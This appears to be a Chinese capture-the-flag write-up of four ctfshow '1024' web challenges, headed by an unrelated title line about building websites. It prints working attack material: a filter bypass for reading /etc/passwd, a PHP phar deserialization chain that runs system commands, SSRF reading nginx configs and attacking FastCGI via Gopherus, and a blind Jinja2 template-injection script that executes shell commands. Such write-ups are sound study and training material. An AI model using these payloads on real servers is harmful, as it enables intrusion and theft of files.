描述建設(shè)一個網(wǎng)站的基本步驟網(wǎng)站建設(shè)企業(yè)
1024 柏拉圖
有點像rce遠程執(zhí)行,有四個按鈕,分別對應(yīng)四份php文件,開始搞一下。
一開始,先要試探出 文件上傳到哪里? 怎么讀取上傳的文件?
第一步:試探上傳文件位置
直接用burp抓包,就可以知道文件存儲位置。
文件存儲在: upload/XXXX
第二步:如何查看這些上傳的文件
或者說如何利用
直接抄別人的流程
/etc/passwd 沒有回顯
file:///etc/passwd 沒有回顯
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 沒有回顯
fifile://le:///etc/passwd 回顯成功,這里看來是雙寫繞過
查看文件:通過雙寫繞過
playload:fifile://le://XXX(xxx路徑:/var/run/xxx.php)
應(yīng)該是要我們查看什么文件
五份文件:index.php、upload.php、readfile.php、unlink.php、class.php
fifile://le:///var/www/html/readfile.php
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-19 20:09:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
if(isset($_GET['url'])){$url = $_GET['url'];$bad = 'file://';if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match)){die('難道我不知道你在想什么?除非繞過我?!');}else{$url=str_replace($bad,"",$url);curl($url);}
}
?>
會過濾這些字符
'/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is'
第三步:反序列化攻擊
在這里,readfile函數(shù)過濾不嚴謹,我們可以通過phar進行反序列化攻擊。
<?php
error_reporting(0);
class A {public $a;public function __construct($a){$this->a = $a;}
// public function __destruct()
// {
// echo "THI IS CTFSHOW".$this->a;
// }
}
class B {public $b;public function __construct($b){$this->b = $b;}public function __toString(){return ($this->b)();}
}
class C{public $c;public function __construct($c){$this->c = $c;}public function __invoke(){return eval($this->c);}
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設(shè)置stub,增加gif文件頭
$phar->setMetadata($a); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
在本機執(zhí)行上面的php文件,然后修改為 phar.gif,繞過上傳檢驗
開始playload,burp抓包,輸入執(zhí)行指令,就可以看到根目錄的文件。
compress.zlib://phar:///var/www/html/upload/phar.gif
將 ls / 修改成 cat /ctfshow_1024_flag.txt
這里有一個坑:之前上傳的是phar.gif,后面上傳的文件就不能是同名了,需要修改文件名,不然,只能顯示原始頁面。
小結(jié)
info 基本流程
- 需要確定怎么繞過首頁的URL,查看到系統(tǒng)文件,制定playload;
- 判斷上傳文件后的位置在哪里
- 需要用什么攻擊手段——存在讀取函數(shù),可以用反序列化攻擊
攻擊原理
- 序列化一個惡意內(nèi)容的文件,并上傳到系統(tǒng)服務(wù)器;
- 通過readfile函數(shù),反序列化不安全文件,實現(xiàn)攻擊
參考文獻
- 【1024杯】web_coleak的博客-CSDN博客
1024 簽到
進入頁面,可以看到這個代碼
error_reporting(0);
highlight_file(__FILE__); //用 PHP 的內(nèi)置函數(shù) highlight_file 來顯示當前文件的源代碼
call_user_func($_GET['f']); //用 PHP 的內(nèi)置函數(shù) call_user_func 來調(diào)用一個用戶定義的回調(diào)函數(shù)
這段代碼就是在告訴我們,可以通過調(diào)用回調(diào)函數(shù),進行訪問。
playload:url?f=XXX函數(shù)
想不到其他函數(shù),先試下phpinfo,看到了支持ctfshow_1024
直接訪問下這個函數(shù),就可以看到flag
1024 圖片
點擊列表后,先抓個包,會發(fā)現(xiàn)一個鏈接
這個參數(shù)加密的方式有點像Base64加密,先解析下密,發(fā)現(xiàn)這里直接顯示鏈接,里面包含有圖片路徑
奇思妙想:是否有一些圖片繞過指令,有關(guān)于文件讀取的ssrf,那不就是文件包含讀取!!!
直接構(gòu)建playload,作用是讀取下passwd文件,記得要base64編碼下
file://etc/passwd # 編碼前
ZmlsZTovL2V0Yy9wYXNzd2Q= //編碼后
直接放包,查看效果,發(fā)現(xiàn)成功了,說明思路沒問題的,直接開搞!!!
關(guān)鍵點2: 有一個nginx配置設(shè)置,說明這個使用nginx搭建的,直接聯(lián)想到nginx的配置文件/etc/nginx/nginx.conf
查看nignx的配置文件
file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 編碼后
burp放包,查看有什么信息可以查看,在這里提示,我們有一個自定義的配置文件,并不是走默認的nginx配置文件。
/etc/ngiinx/conf.d/*.conf
重新構(gòu)建下playload
file://etc/nginx/conf.d/default.conf //編碼前
驗收下成功
其中的關(guān)鍵信息關(guān)鍵信息,說明開放了接口 9000,可以利用ssrf攻擊
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
最后一步:借助Gopher,打fastcgi,實現(xiàn)ssrf攻擊
Gopher:https://github.com/tarunkant/Gopherus
輸入讀取的路徑: /var/www/bushihtml/index.html
執(zhí)行指令: ls /
base64編碼下
放包操作,查看結(jié)果
好像少了什么東西,看看題目有沒有提示,添加上去即可
參考文獻
- ctfshow_1024-CSDN博客
- SSRF利用 Gopher 協(xié)議拓展攻擊面_https://www.ibus2333.com/novel/chapter/311_62f7cf7-CSDN博客
1024 hello_world
需要用post請求,加多一個參數(shù)key,可以輸出自己想要的結(jié)果,這不就是SSIT結(jié)構(gòu)注入攻擊嗎,開搞
key={%if []!=1%}wdnmd{%endif%}
構(gòu)建playload
"""
Author:Lucky_bacon
Tool:Pycham、python3
"""
import requests
import string
if __name__ == '__main__':abt = string.ascii_lowercase + string.digits + '-_{}'url = 'http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/'cmd = 'ls /'ans = ''for i in range(0, 80):for le in abt:payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(i) + ']=="' + le + '"%}yoyo{%endif%}'data = {'key': payload}r = requests.post(url, data)if 'yoyo' in r.text:ans += leprint('ans = ' + ans)break
將指令換成 cat /ctfshow*